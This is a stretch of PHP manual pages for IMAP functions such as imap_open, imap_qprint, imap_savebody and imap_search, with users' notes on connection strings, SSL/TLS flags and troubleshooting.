egoman69 at hotmail 07-Sep-2010 12:32
"Couldn't open stream {127.0.0.1:143/imap/notls}INBOX"

Solved by only replacing 127.0.0.1 with localhost, php and IMAP server both in same machine, not through Proxy or anything. Weird!
oz49erfan 02-Mar-2010 07:39
Make sure your PHP is enabled with imap via the phpinfo() function

'--with-imap-dir=/opt/lampp' '--with-imap-ssl' '--with-imap=/opt/lampp'

and

IMAP c-Client Version 2007e
SSL Support Yes

I noticed that my apache script was working but my cli script was not. Turns out my php cli executable didn't have imap setup so I had to use another php cli executable.
kay at rrr dot de 31-Jan-2010 08:16
imap_open is very simple to use, but struggles a litte bit on setups with ssl and tls.

this are tested examples for different hosts and protocols.

uncomment the host/protocol line and fill in correct username and password.

Kay

<?php

#######
# localhost pop3 with and without ssl
# $authhost="{localhost:995/pop3/ssl/novalidate-cert}";
# $authhost="{localhost:110/pop3/notls}";

# localhost imap with and without ssl
# $authhost="{localhost:993/imap/ssl/novalidate-cert}";
# $authhost="{localhost:143/imap/notls}";
# $user="localuser";

# localhost nntp with and without ssl
# you have to specify an existing group, control.cancel should exist
# $authhost="{localhost:563/nntp/ssl/novalidate-cert}control.cancel";
# $authhost="{localhost:119/nntp/notls}control.cancel";

######
# web.de pop3 without ssl
# $authhost="{pop3.web.de:110/pop3/notls}";
# $user="kay.marquardt@web.de";

#########
# goggle with pop3 or imap
# $authhost="{pop.gmail.com:995/pop3/ssl/novalidate-cert}";
# $authhost="{imap.gmail.com:993/imap/ssl/novalidate-cert}";
# $user="username@gmail.com";

$user="username like above";
$pass="yourpass";

if ($mbox=imap_open( $authhost, $user, $pass ))
        {
         echo "<h1>Connected</h1>\n";
         imap_close($mbox);
        } else
        {
         echo "<h1>FAIL!</h1>\n";
        }

?>
mightycpa 03-Jul-2009 10:45
My script kept on timing out, even though the syntax was spot on... ultimately, I figured out that the port was blocked by my webhost, where I ran this on a shared server...

I post this just in case you miss this obvious, like I did.
Jason Pires 25-Apr-2008 10:56
Dears.
In my case, e-mail host was the IMAP enabled.
So, just use the imap_open as the very simple form like:

$mailbox = "{mail.myhost.com:143/notls}INBOX";
$user = "me@myhost.com";
$pass = "mypassword";

$connection = imap_open($mailbox,$user,$pass) or die(imap_last_error()."<br>Connection Faliure!");

thanks!
itstooloud 31-Oct-2007 11:50
Works with Gmail's new IMAP function for personal and for Google Apps.

$mbox = imap_open ("{imap.gmail.com:993/imap/ssl}INBOX", "username@gmail.com", "password")
     or die("can't connect: " . imap_last_error());
askalski at synacor dot com 27-Sep-2007 08:50
By default, imap_open() will retry an incorrect password 3 times before giving up.  This is a feature built into the c-client library intended for interactive mail clients (which can prompt the end user for a new username/password combo.)

The new optional parameter "$n_retries" allows PHP to override the default retry limit.  There is absolutely no reason to leave this at default, or to set it to any value other than 1.  This is especially important if the mail server you're using locks users out after too many login failures.
Amit 11-Sep-2006 10:25
None of the above comments explain the configuration issues on Apache/Windows combination. I thought it might be helpful to list my findings here so that Windows people's time is saved.

There is a bug in Windows php_imap.dll that prevents it from connecting it to the SSL IMAP/POP3 server.

http://bugs.php.net/bug.php?id=36496&edit=1
shaikh_zaid at yahoo dot com 04-Apr-2006 11:55
imap_open will not open a stream if your server operates with Transport Layer Security (i.e. TLS) imap_open connects with SSL if its there. So try opening mailbox as

$mailbox="{mail.domain.com:143/imap/notls}";
or
$mailbox="{mail.domain.com:110/pop3/notls}"; This works...

Some mail server requires you to provide username@domain.com so you can always use. user@doamin.com

$conn=imap_open($mailbox, $username, $password);

Some server may ask for username as "user=user@domain.com"

:)
avizion at relay dot dk 12-May-2005 03:30
For FreeBSD users...

If you want to have SSL support, you want to install the ports:

mail/php5-imap
security/php5-openssl

Cheers :)

 - avizion
m dot stoel at cyberkinetic dot nl 27-Apr-2005 10:50
a little tip for those who get really frustrated even after reading all the right solutions and implementing them but still get the same errors or none at all..:
after having changed the code.. restart the httpd deamon..

for Fedora or any other Red Hat Linux OS (/etc/init.d/httpd restart).

After this you will be able to make a imap/pop3 stream from apache..
gasaunde at vcu dot edu 13-Dec-2004 11:35
I've found that on my servers I _must_ use imap_errors() and imap_alerts() after an imap_open or this error is thrown in the logs when the mailbox is empty: [error] PHP Warning: (null)(); Mailbox is empty (errflg=1) in Unknown on line 0
liamr at umich dot edu 29-Jun-2004 04:40
To authenticate using kerberos V / GSSAPI, you might need to add "user=" to the connection string.. eg:

$mbox = imap_open( "\{imap.example.com:143/imap/notls/user=" . $user . "}INBOX", $user, $passwd );

Our IMAP servers won't allow a user other than the user specified in the kerberos credentials connect using those credentials unless you specify that extra "user=" in the connection string.  Passing it as an argument to imap_open() doesn't seem to be enough.
rvarkelen AT hortimax.nl 14-Jan-2004 03:03
In order to make a IMAP connection to a Microsoft Exchange Server 5.5, I used this connection-string :

<?php
if(imap_open ("{192.168.1.6:143/imap}Inbox", "DOMAIN/USERNAME/ALIAS", "PASSWORD"))
{
    echo 'Connection success!';
}
else
{
    echo 'Connection failed';
}
?>

By replacing "Inbox" with, e.g. "Tasks", its possible to see all your tasks. I Hope this helps anybody!

Regards
marshall /AT\ pacdemon.org 03-Nov-2003 11:50
Thanks for all your comments.  The user comments have saved me countless times.

I'd like to give back in my small way by providing this little tip.  To test your pop or imap services you can use telnet (almost all operating systems should come with a command line telnet client).

Here's the pop3 example (the lines that start with + are the server's response):

    telnet your.pop.host.com 110
    +OK POP3 your.pop.host.com v2001.78 server ready
    user your_username
    +OK User name accepted, password please
    pass your_password
    +OK Mailbox open, 23 messages

Note that your pop server may be on some other port than 110 but that is the default/standard.

Here's the imap example (Lines that have OK near the begining are server responses):

    telnet your.imap.host.com 143
    * OK [CAPABILITY IMAP4REV1...]
    1 LOGIN "your_username" "your_password"
    1 OK [CAPABILITY...] ... User your_username authenticated

This might be old news to some people but I hope it's helpful for many.
kaper at nexgc dot com 08-Apr-2003 09:17
I had been having lots of trouble trying to get imap_open to connect to an imap server.  Then I found another post online that suggested this and it worked, so I am going to post it here.  I hope this helps others..

"I have tried with the following strings instead and it works:

for pop3: {www.server.com:110/pop3/notls}INBOX

and for imap: {www.server.com:143/notls}INBOX.
frederik at roal dot no 17-Apr-2002 09:02
For all imap functions where you specify the mailbox string it is important that you ALWAYS use IP (not hostname) and the portnumber. If you do not do this imap functions will be painfully slow.
Using hostname instead of IP adds 3 seconds to each IMAP call, not using portnumber adds 10 seconds to each imap call. (hint: use gethostbyname() )
brojann at netscape dot com 30-Oct-2001 02:01
You can do

<? $foo = imap_errors(); ?>

to clear unwanted warning messages like 'Mailbox is empty'
bandpay at hotmail dot com 04-Dec-2000 12:59
I have a single comment to add about imap_open.
If you want to connect to a news server, without specifying any news gruop, you can use the following:

<?php
$server = "{news.servername.com/nntp:119}";
$nntp = imap_open($server,"","",OP_HALFOPEN);
?>

and $nntp will become the connection ID.

Regards
//Babak


Check if the IMAP stream is still active

  • ? imap_open
  • imap_qprint ?
  • PHP Manual
  • IMAP 函数
  • Check if the IMAP stream is still active

imap_ping

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_ping — Check if the IMAP stream is still active

说明

imap_ping(IMAP\Connection $imap): bool

imap_ping() pings the stream to see if it's still active. It may discover new mail; this is the preferred method for a periodic "new mail check" as well as a "keep alive" for servers which have inactivity timeout.

参数

imap

IMAP\Connection 实例。

返回值

Returns true if the stream is still alive, false otherwise.

更新日志

版本 | 说明
8.1.0 | 现在 imap 参数接受 IMAP\Connection 实例，之前接受有效的 imap resource。

示例

Example #1 imap_ping() Example

<?php

$imap = imap_open("{imap.example.org}", "mailadmin", "password");

// after some sleeping
if (!imap_ping($imap)) {
// do some stuff to reconnect
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Convert a quoted-printable string to an 8 bit string

  • ? imap_ping
  • imap_rename ?
  • PHP Manual
  • IMAP 函数
  • Convert a quoted-printable string to an 8 bit string

imap_qprint

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_qprint — Convert a quoted-printable string to an 8 bit string

说明

imap_qprint(string $string): string|false

Convert a quoted-printable string to an 8 bit string according to » RFC2045, section 6.7.

参数

string

A quoted-printable string

返回值

Returns an 8 bits string, 或者在失败时返回 false.

参见

  • imap_8bit() - Convert an 8bit string to a quoted-printable string

User Contributed Notes

wese at gmx dot at 11-Nov-2008 06:52
I just got rid of the loops using a regex.

<?php
function decode_qprint($str) {
    $str = preg_replace("/\=([A-F][A-F0-9])/","%$1",$str);
    $str = urldecode($str);
    $str = utf8_encode($str);
    return $str;
}
?>

Thanks for sharing!
tonitester at gmx dot net 27-Mar-2007 06:35
If you don't have access to the imap_qprint function and you have to encode URL Decoded and Quoted Printable Strings you receive by Mail try this simple function. But if you don't receive URL Decoded data and the string doesn't contain an = you better use http://www.php.net/manual/en/function.quoted-printable-decode.php

function decode_qprint($str){
$arr= array("A","B","C","D","E","F");
while (list(, $var) = each($arr)) {
    $i=0;
    while ($i <=9){
        $str=str_replace("=".$var.$i,"%".$var.$i,$str);
        $i++;}
    $arr2 = array("A","B","C","D","E","F");
    while (list(, $val) = each($arr2)) {
        $str=str_replace("=".$var.$val,"%".$var.$val,$str);}}
$str = urldecode($str);
$str = utf8_encode($str);
return $str;}

$s2d='=F6=D6=DF=C4=E4=DC=FC=A9=AE';
$2s2d='%F6';

$output = decode_qprint($s2d);
$output2 = decode_qprint($2s2d);

echo $output;
echo $output2;
bletous at yahoo dot fr 27-Aug-2005 05:55
Some mails are encoded in bad quoted printable format:
I use this function to decode the qprint:

for($i=0;$i<256;$i++)
    {
    $c1=dechex($i);
    if(strlen($c1)==1){$c1="0".$c1;}
    $c1="=".$c1;
    $myqprinta[]=$c1;
    $myqprintb[]=chr($i);
    }

function decode($data,$code)
{
if(!$code){return imap_utf7_decode($data);}
if($code==0){return imap_utf7_decode($data);}
if($code==1){return imap_utf8($data);}
if($code==2){return ($data);}
if($code==3){return imap_base64($data);}
if($code==4){return imap_qprint(str_replace($myqprinta,$myqprintb,($data)));}
if($code==5){return ($data);}

}
bernard at bmpsystems dot com 26-Feb-2000 12:35
This function seems to have a bug, when the quoted-printable string contains a "=" without the HEX code of a Character.
I use the regular quoted_printable_decode instead.


别名 imap_renamemailbox

  • ? imap_qprint
  • imap_renamemailbox ?
  • PHP Manual
  • IMAP 函数
  • 别名 imap_renamemailbox

imap_rename

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_rename — 别名 imap_renamemailbox()

说明

此函数是该函数的别名： imap_renamemailbox().

User Contributed Notes

There are no user contributed notes for this page.


Rename an old mailbox to new mailbox

  • ? imap_rename
  • imap_reopen ?
  • PHP Manual
  • IMAP 函数
  • Rename an old mailbox to new mailbox

imap_renamemailbox

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_renamemailbox — Rename an old mailbox to new mailbox

说明

imap_renamemailbox(IMAP\Connection $imap, string $from, string $to): bool

This function renames on old mailbox to new mailbox (see imap_open() for the format of mbox names).

参数

imap

IMAP\Connection 实例。

from

The old mailbox name, see imap_open() for more information

Warning

Passing untrusted data to this parameter is insecure, unless imap.enable_insecure_rsh is disabled.

to

The new mailbox name, see imap_open() for more information

Warning

Passing untrusted data to this parameter is insecure, unless imap.enable_insecure_rsh is disabled.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | 现在 imap 参数接受 IMAP\Connection 实例，之前接受有效的 imap resource。

参见

  • imap_createmailbox() - Create a new mailbox
  • imap_deletemailbox() - Delete a mailbox

User Contributed Notes

Christoffer Lindahl 12-Oct-2010 10:27
Don't forget that you can't be connected to the mailbox that you are going to rename (or delete).

If you have the following mailboxes:
INBOX
INBOX.Foo

...and want to rename "INBOX.Foo" to "INBOX.Bar" you have to be connected to "INBOX":

<?php
$mbox = imap_open('{imap.example.com}INBOX', 'username', 'password');
imap_renamemailbox($mbox, '{imap.example.com}INBOX.Foo', '{imap.example.com}INBOX.Bar');
imap_close($mbox);
?>
josh at paducahwebpublishing dot com 03-Mar-2000 12:13
Don't let "...string old_mbox, string new_mbox);" fool you. You have to add the server and port to the mailbox name also. So it would be something like:

imap_renamemailbox($mailbox, "{localhost:143}$oldfolder", "{localhost:143}$newfolder")

Just thought I would point it out, it took me a while to figure it out.


Reopen IMAP stream to new mailbox

  • ? imap_renamemailbox
  • imap_rfc822_parse_adrlist ?
  • PHP Manual
  • IMAP 函数
  • Reopen IMAP stream to new mailbox

imap_reopen

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_reopen — Reopen IMAP stream to new mailbox

说明

imap_reopen(
IMAP\Connection $imap,
string $mailbox,
int $flags = 0,
int $retries = 0
): bool

Reopens the specified stream to a new mailbox on an IMAP or NNTP server.

参数

imap

IMAP\Connection 实例。

mailbox

The mailbox name, see imap_open() for more information

Warning

Passing untrusted data to this parameter is insecure, unless imap.enable_insecure_rsh is disabled.

flags

The flags are a bit mask with one or more of the following:

  • OP_READONLY - Open mailbox read-only
  • OP_ANONYMOUS - Don't use or update a .newsrc for news (NNTP only)
  • OP_HALFOPEN - For IMAP and NNTP names, open a connection but don't open a mailbox.
  • OP_EXPUNGE - Silently expunge recycle stream
  • CL_EXPUNGE - Expunge mailbox automatically upon mailbox close (see also imap_delete() and imap_expunge())

retries

Number of maximum connect attempts

返回值

Returns true if the stream is reopened, false otherwise.

更新日志

版本 | 说明
8.1.0 | 现在 imap 参数接受 IMAP\Connection 实例，之前接受有效的 imap resource。

示例

Example #1 imap_reopen() example

<?php
$mbox = imap_open("{imap.example.org:143}INBOX", "username", "password") or die(implode(", ", imap_errors()));
// ...
imap_reopen($mbox, "{imap.example.org:143}INBOX.Sent") or die(implode(", ", imap_errors()));
// ..
?>

User Contributed Notes

There are no user contributed notes for this page.


Parses an address string

  • ? imap_reopen
  • imap_rfc822_parse_headers ?
  • PHP Manual
  • IMAP 函数
  • Parses an address string

imap_rfc822_parse_adrlist

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_rfc822_parse_adrlist — Parses an address string

说明

imap_rfc822_parse_adrlist(string $string, string $default_hostname): array

Parses the address string as defined in » RFC2822 and for each address.

参数

string

A string containing addresses

default_hostname

The default host name

返回值

Returns an array of objects. The objects properties are:

  • mailbox - the mailbox name (username)
  • host - the host name
  • personal - the personal name
  • adl - at domain source route

示例

Example #1 imap_rfc822_parse_adrlist() example

<?php

$address_string = "Joe Doe <doe@example.com>, postmaster@example.com, root";
$address_array = imap_rfc822_parse_adrlist($address_string, "example.com");
if (!is_array($address_array) || count($address_array) < 1) {
die("something is wrong\n");
}

foreach ($address_array as $id => $val) {
echo "# $id\n";
echo " mailbox : " . $val->mailbox . "\n";
echo " host : " . $val->host . "\n";
echo " personal: " . $val->personal . "\n";
echo " adl : " . $val->adl . "\n";
}
?>

以上示例会输出：

# 0
  mailbox : doe
  host    : example.com
  personal: Joe Doe
  adl     :
# 1
  mailbox : postmaster
  host    : example.com
  personal:
  adl     :
# 2
  mailbox : root
  host    : example.com
  personal:
  adl     :

参见

  • imap_rfc822_parse_headers() - Parse mail headers from a string

User Contributed Notes

Ian Eiloart 17-Oct-2005 06:50
This function does NOT test the syntax of either the local part, or the host part, it will permit illegal characters on either side.

Note that 'host' refers to the email domain, not actually to any host.

The at domain list is an obsolete addressing method which was available for routing email. RFC2822 says that it must be accepted, but should be ignored in routing.

Note that if an address doesn't contain a personal part, or an "at domain list", that part of the array will be missing.

Although RFC2822 permits consecutive comma separators in a list of email addresses, this function does not. That's probably a bug.

In the following list of examples, #4 uses an "at domain list",  #5 and after are illegal domains, but only the last actually generates an error.

$adds = 'ian eiloart <iane@example.ac.uk>,
        shuf6@example.ac.uk,
        blobby,
        "ian,eiloart"<ian@example.ac.uk>,
        <@example.com:foo@example.ac.uk>,
        foo@#,
        ian@-example.com,
        ian@one@two';
$add_arr = imap_rfc822_parse_adrlist($adds, 'example.com');
var_export ($add_arr);

array (
  0 =>
  class stdClass {
    var $mailbox = 'iane';
    var $host = 'example.ac.uk';
    var $personal = 'ian eiloart';
  },
  1 =>
  class stdClass {
    var $mailbox = 'shuf6';
    var $host = 'example.ac.uk';
  },
  2 =>
  class stdClass {
    var $mailbox = 'blobby';
    var $host = 'example.ac.uk';
  },
  3 =>
  class stdClass {
    var $mailbox = 'ian';
    var $host = 'example.ac.uk';
    var $personal = 'ian,eiloart';
  },
  4 =>
  class stdClass {
    var $mailbox = 'foo';
    var $host = 'example.ac.uk';
    var $adl = '@example.com';
  },
  5 =>
  class stdClass {
    var $mailbox = 'foo';
    var $host = '#';
  },
  6 =>
  class stdClass {
    var $mailbox = 'ian';
    var $host = '-example.com';
  },
  7 =>
  class stdClass {
    var $mailbox = 'ian';
    var $host = 'one';
  },
  8 =>
  class stdClass {
    var $mailbox = 'UNEXPECTED_DATA_AFTER_ADDRESS';
    var $host = '.SYNTAX-ERROR.';
  },
)
Rainer Perske 04-Jan-2005 08:20
Invalid addresses, if detected, set host to '.SYNTAX-ERROR.'; but not all invalid addresses get detected as such, e.g. <.@host.do.main> is considered
valid though a single dot is not a valid local part without using quotation marks.


Parse mail headers from a string

  • ? imap_rfc822_parse_adrlist
  • imap_rfc822_write_address ?
  • PHP Manual
  • IMAP 函数
  • Parse mail headers from a string

imap_rfc822_parse_headers

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_rfc822_parse_headers — Parse mail headers from a string

说明

imap_rfc822_parse_headers(string $headers, string $default_hostname = "UNKNOWN"): stdClass

Gets an object of various header elements, similar to imap_header().

参数

headers

The parsed headers data

default_hostname

The default host name

返回值

Returns an object similar to the one returned by imap_header(), except for the flags and other properties that come from the IMAP server.

参见

  • imap_rfc822_parse_adrlist() - Parses an address string

User Contributed Notes

Marco Arment 23-Jul-2010 09:10
This function will cause a PHP Fatal Error if the text you're passing to it overflows a 16 KB buffer internally (SENDBUFLEN in the source).

I haven't looked into it in depth yet, but limiting the input text to less than 16,384 characters still produced this in one error case on our servers, but reducing the boundary to 12,000 fixed it.

Most real-world mail headers are well under 4 KB.
phrank 21-Mar-2009 02:10
This function is marked as internal function by the c-client library and should not be used by php directly.

Please be aware that the result will always contain fields that have not been set in the message. For example reply_to and sender will always be set even if there is no Reply-To and Sender header fields are defined in the message.
Oliver 15-Apr-2006 05:50
To see the content of the returned object try this code:

   $stream = imap_open($server, $username, $password);
   $header = imap_fetchheader($stream, $uid, FT_UID);
   $obj = imap_rfc822_parse_headers( $header);
   print "<html><head></head><body><pre>\n";
   print_r($obj);
   print "</pre></body></html>";
   imap_close($stream);
Kevin Casper <casperke at gmail dot com> 01-Feb-2005 10:23
I was lightly probing this function's behavoir.

It handles rfc882 fields:

date
subject
message_id
to
from
reply-to
sender         - will generate using 'from' field if not in
                     header
references
in-reply-to
cc

doesn't handle rfc882 fields:
return-path
received
resent-         I think this field may be obsolete
keywords

If there are other rfc822 fields or behavoirs for the function, then I can't speak of them as they weren't in my test.
As it is relevent to what I'm currently doing I may add more about this function from time to time.
jh at junetz dot de 14-Sep-2004 08:22
But what you /will/ get is a complete To field, i.e. unfolded as specified for long header fields in RFC 822. So if you want to replace imap_headerinfo() by this function, you can run it on imap_fetchheader().
Sven dot Dickert at planb dot de 21-May-2002 04:28
The object you get from imap_rfc822_parse_headers differs from the object you get from imap_headerinfo/imap_header in the following points. You won't get the:
* flags
* msgno
* size
* Maildate
* udate
* fetchfrom
* fetchsubject

udate can be simulated with
$headerobj=imap_rfc822_parse_headers ($header);
$udate=strtotime($headerobj->date);


Returns a properly formatted email address given the mailbox, host, and personal info

  • ? imap_rfc822_parse_headers
  • imap_savebody ?
  • PHP Manual
  • IMAP 函数
  • Returns a properly formatted email address given the mailbox, host, and personal info

imap_rfc822_write_address

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_rfc822_write_address — Returns a properly formatted email address given the mailbox, host, and personal info

说明

imap_rfc822_write_address(string $mailbox, string $hostname, string $personal): string|false

Returns a properly formatted email address as defined in » RFC2822 given the needed information.

参数

mailbox

The mailbox name, see imap_open() for more information

Warning

Passing untrusted data to this parameter is insecure, unless imap.enable_insecure_rsh is disabled.

hostname

The email host part

personal

The name of the account owner

返回值

Returns a string properly formatted email address as defined in » RFC2822, 或者在失败时返回 false.

示例

Example #1 imap_rfc822_write_address() example

<?php
echo imap_rfc822_write_address("hartmut", "example.com", "Hartmut Holzgraefe");
?>

以上示例会输出：

Hartmut Holzgraefe <hartmut@example.com>

User Contributed Notes

There are no user contributed notes for this page.


Save a specific body section to a file

  • ? imap_rfc822_write_address
  • imap_scan ?
  • PHP Manual
  • IMAP 函数
  • Save a specific body section to a file

imap_savebody

(PHP 5 >= 5.1.3, PHP 7, PHP 8)

imap_savebody — Save a specific body section to a file

说明

imap_savebody(
IMAP\Connection $imap,
resource|string|int $file,
int $message_num,
string $section = "",
int $flags = 0
): bool

Saves a part or the whole body of the specified message.

参数

imap

IMAP\Connection 实例。

file

The path to the saved file as a string, or a valid file descriptor returned by fopen().

message_num

The message number

section

The part number. It is a string of integers delimited by period which index into a body part list as per the IMAP4 specification

flags

A bitmask with one or more of the following:

  • FT_UID - The message_num is a UID
  • FT_PEEK - Do not set the \Seen flag if not already set
  • FT_INTERNAL - The return string is in internal format, will not canonicalize to CRLF.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | 现在 imap 参数接受 IMAP\Connection 实例，之前接受有效的 imap resource。

参见

  • imap_fetchbody() - Fetch a particular section of the body of the message

User Contributed Notes

anon 12-Aug-2012 01:59
By using imap_fetchbody() you may run in trouble by using too much memory. Using imap_savebody() may prevent this.

But the content will be encoded, in other words it is useless. Adding a filter can help here.

<?php
$whandle = fopen('./incomming/tmp.tif','w');

stream_filter_append($whandle,
   'convert.base64-decode',STREAM_FILTER_WRITE);

imap_savebody ($mbox, $whandle, $i, $partcounter++);

fclose($whandle);
?>

NOTE: To find the proper filter you need to check the encoding given by the structure of the body.
janus at forty-seven dot info 20-Feb-2009 01:40
It seems that imap_savebody saves attachments with special characters above ascii 127 as quoted printable.
But if you need it in utf8, you may use the imap_qprint function after the attachment is saved:

<?php
$tFile = "/path/to/attachment";
$tFileOutput="";
$tFileHandle = fopen($tFile, "r");

//get the content of the file into a string
while(!feof($tFileHandle))
  $tFileOutput = $tFileOutput . fgets($tFileHandle, 4096);

fclose ($tFileHandle);

$tFileHandle = fopen($tFile, "w");
//write the new 8Bit string to the file
fwrite($tFileHandle, imap_qprint($tFileOutput));
fclose ($tFileHandle);
?>
technocraze at gmail dot com 20-Dec-2007 12:38
I tried to use this function. But it seems it requires php_zip.dll to be load..  i got the php errror like below.

[20-Dec-2007 13:38:17] PHP Warning:  PHP Startup: Unable to load dynamic library './php_zip.dll' - ./php_zip.dll: cannot open shared object file: No such file or directory in Unknown on line 0
[20-Dec-2007 13:38:17] PHP Fatal error:  Call to undefined function imap_savebody() in /opt/oss/share/apache2/htdocs/blogtest/wp-inst/batch/pop3_mail.php on line 153
stupergenius at gmail dot com 31-Jul-2007 06:40
This function will save ALL information from the email if the part number is left out. Pretty handy for archiving.


别名 imap_listscan

  • ? imap_savebody
  • imap_scanmailbox ?
  • PHP Manual
  • IMAP 函数
  • 别名 imap_listscan

imap_scan

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_scan — 别名 imap_listscan()

说明

此函数是该函数的别名： imap_listscan().

User Contributed Notes

There are no user contributed notes for this page.


别名 imap_listscan

  • ? imap_scan
  • imap_search ?
  • PHP Manual
  • IMAP 函数
  • 别名 imap_listscan

imap_scanmailbox

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_scanmailbox — 别名 imap_listscan()

说明

此函数是该函数的别名： imap_listscan().

User Contributed Notes

There are no user contributed notes for this page.


This function returns an array of messages matching the given search criteria

  • ? imap_scanmailbox
  • imap_set_quota ?
  • PHP Manual
  • IMAP 函数
  • This function returns an array of messages matching the given search criteria

imap_search

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_search — This function returns an array of messages matching the given search criteria

说明

imap_search(
IMAP\Connection $imap,
string $criteria,
int $flags = SE_FREE,
string $charset = ""
): array|false

This function performs a search on the mailbox currently opened in the given IMAP stream.

For example, to match all unanswered messages sent by Mom, you'd use: "UNANSWERED FROM mom". Searches appear to be case insensitive. This list of criteria is from a reading of the UW c-client source code and may be incomplete or inaccurate (see also » RFC1176, section "tag SEARCH search_criteria").

参数

imap

IMAP\Connection 实例。

criteria

A string, delimited by spaces, in which the following keywords are allowed. Any multi-word arguments (e.g. FROM "joey smith") must be quoted. Results will match all criteria entries.

  • ALL - return all messages matching the rest of the criteria
  • ANSWERED - match messages with the \\ANSWERED flag set
  • BCC "string" - match messages with "string" in the Bcc: field
  • BEFORE "date" - match messages with Date: before "date"
  • BODY "string" - match messages with "string" in the body of the message
  • CC "string" - match messages with "string" in the Cc: field
  • DELETED - match deleted messages
  • FLAGGED - match messages with the \\FLAGGED (sometimes referred to as Important or Urgent) flag set
  • FROM "string" - match messages with "string" in the From: field
  • KEYWORD "string" - match messages with "string" as a keyword
  • NEW - match new messages
  • OLD - match old messages
  • ON "date" - match messages with Date: matching "date"
  • RECENT - match messages with the \\RECENT flag set
  • SEEN - match messages that have been read (the \\SEEN flag is set)
  • SINCE "date" - match messages with Date: after "date"
  • SUBJECT "string" - match messages with "string" in the Subject:
  • TEXT "string" - match messages with text "string"
  • TO "string" - match messages with "string" in the To:
  • UNANSWERED - match messages that have not been answered
  • UNDELETED - match messages that are not deleted
  • UNFLAGGED - match messages that are not flagged
  • UNKEYWORD "string" - match messages that do not have the keyword "string"
  • UNSEEN - match messages which have not been read yet

flags

Valid values for flags are SE_UID, which causes the returned array to contain UIDs instead of messages sequence numbers.

charset

MIME character set to use when searching strings.

返回值

Returns an array of message numbers or UIDs.

Return false if it does not understand the search criteria or no messages have been found.

更新日志

版本 | 说明
8.1.0 | 现在 imap 参数接受 IMAP\Connection 实例，之前接受有效的 imap resource。

示例

Example #1 imap_search() example

<?php
$imap = imap_open('{imap.example.com:993/imap/ssl}INBOX', 'foo@example.com', 'pass123', OP_READONLY);

$some = imap_search($imap, 'SUBJECT "HOWTO be Awesome" SINCE "8 August 2008"', SE_UID);
$msgnos = imap_search($imap, 'ALL');
$uids = imap_search($imap, 'ALL', SE_UID);

print_r($some);
print_r($msgnos);
print_r($uids);
?>

以上示例的输出类似于：

Array
(
    [0] => 4
    [1] => 6
    [2] => 11
)
Array
(
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
    [4] => 5
    [5] => 6
)
Array
(
    [0] => 1
    [1] => 4
    [2] => 6
    [3] => 8
    [4] => 11
    [5] => 12
)

参见

  • imap_listscan() - Returns the list of mailboxes that matches the given text

User Contributed Notes

Steve 12-Jan-2022 12:07
It has been noted that imap_search breaks with imap4 syntax.  To do an imap 4 search use curl and send a custom command, then grab the results.  Its best to do a UID search to get the unique IDs to work with later.  Here's an example with a working curl function.

<?php
$host = 'your-server.tld';
$user = 'username';
$pass = 'password';
$folder = 'INBOX';

function send_imap_command($server, $user, $pass, $command, $folder="INBOX")
{   //Send an imap command directly to the imap server

    $result=["response"=>"", "error"=>""];
    $url = "imaps://$server/". rawurlencode($folder);
    $options=[CURLOPT_URL=>$url, CURLOPT_PORT=> 993, CURLOPT_USERNAME=> $user,
        CURLOPT_PASSWORD=> $pass, CURLOPT_RETURNTRANSFER=> true, CURLOPT_HEADER=> true,
        CURLOPT_CUSTOMREQUEST=> $command];
    $ch = curl_init();
    curl_setopt_array($ch, $options);

    $result["response"] = curl_exec($ch);
    if(curl_errno($ch)) $response["error"]="Error (". curl_errno($ch) ."): ". curl_error($ch);

    return $result;
}

//Pull out all the emails returned as undeliverable by the remote mail server in the inbox using curl
$response=send_imap_command($host, $user, $pass,
            'UID SEARCH SINCE "01-Jan-2022" (OR FROM "mailer-daemon" FROM "postmaster") (OR SUBJECT "fail" (OR SUBJECT "undeliver" SUBJECT "returned"))',
            $folder);

if($response["error"]!="")
{
    echo $response["error"]."\n";
} elseif (strlen($response["response"])>5){
    //Server returns a string in the form * SEARCH uid1 uid2 uid3 ...  Clean up and create array of UIDs.
    $response["response"]=str_replace("* SEARCH ","",$response["response"]);
    $messages=explode(" ",$response["response"]);
}

print_r($messages);
?>
Enriqe 02-Nov-2020 05:36
Please be aware about UID of the message.
It is NOT an ID that never change!

If you move your message to another folder in your IMAP account, this UID WILL CHANGE.

So if your message has UID = 100 (in INBOX folder) and you move it to some subfolder and then back to INBOX, it's new UID in INBOX will be 101.
samy.sadi.contact in gmail 10-Oct-2019 03:20
utf-8 charset isn't supported on outlook 365. So you might get a false return value here, if you pass that charset.
tgely 09-Oct-2016 02:12
If email subject is encoded than use encoding charset and option in search  to find something.

Mail Header:

Subject: =?UTF-8?Q?XYZ?=

<?php imap_search($inbox,'SUBJECT "'.$keyword.'"', SE_FREE, "UTF-8"); ?>
Paula 18-Aug-2016 09:44
This is the correct way to use the imap_search with ON "date"

$date = date("j F Y");

$emails = imap_search($inbox,'ON "'.$date.'"' );
britty dot it at hotmail dot com 11-Apr-2016 11:10
imap_search function is not fully compatible with IMAP4. the c-client used as of now supports only IMAP2 and some search criterion will not be available for use such as "OR"

So a php code similar to:
$inbox   = imap_open('{imap.example.com:993/imap/ssl}INBOX', 'foo@example.com', 'pass123', OP_READONLY);
$search_string = 'SUBJECT "FedEx" OR SUBJECT "USPS"';
$emails = imap_search($inbox, $search_string);

will throw an error saying "Unknown search criterion"

observations and reference:

PHP source trace:(ref: https://github.com/php/php-src/blob/master/ext/imap/php_imap.c)
    /ext/imap/php_imap.c -> line no : 4126
    imap_search => line no : 4148

c-client library source trace:
src/c-client/mail.c -> line no : 3973

internal.txt -> line no : 1919 => mail_criteria()
    criteria IMAP2-format search criteria string
    WARNING: This function does not accept IMAP4 search criteria.

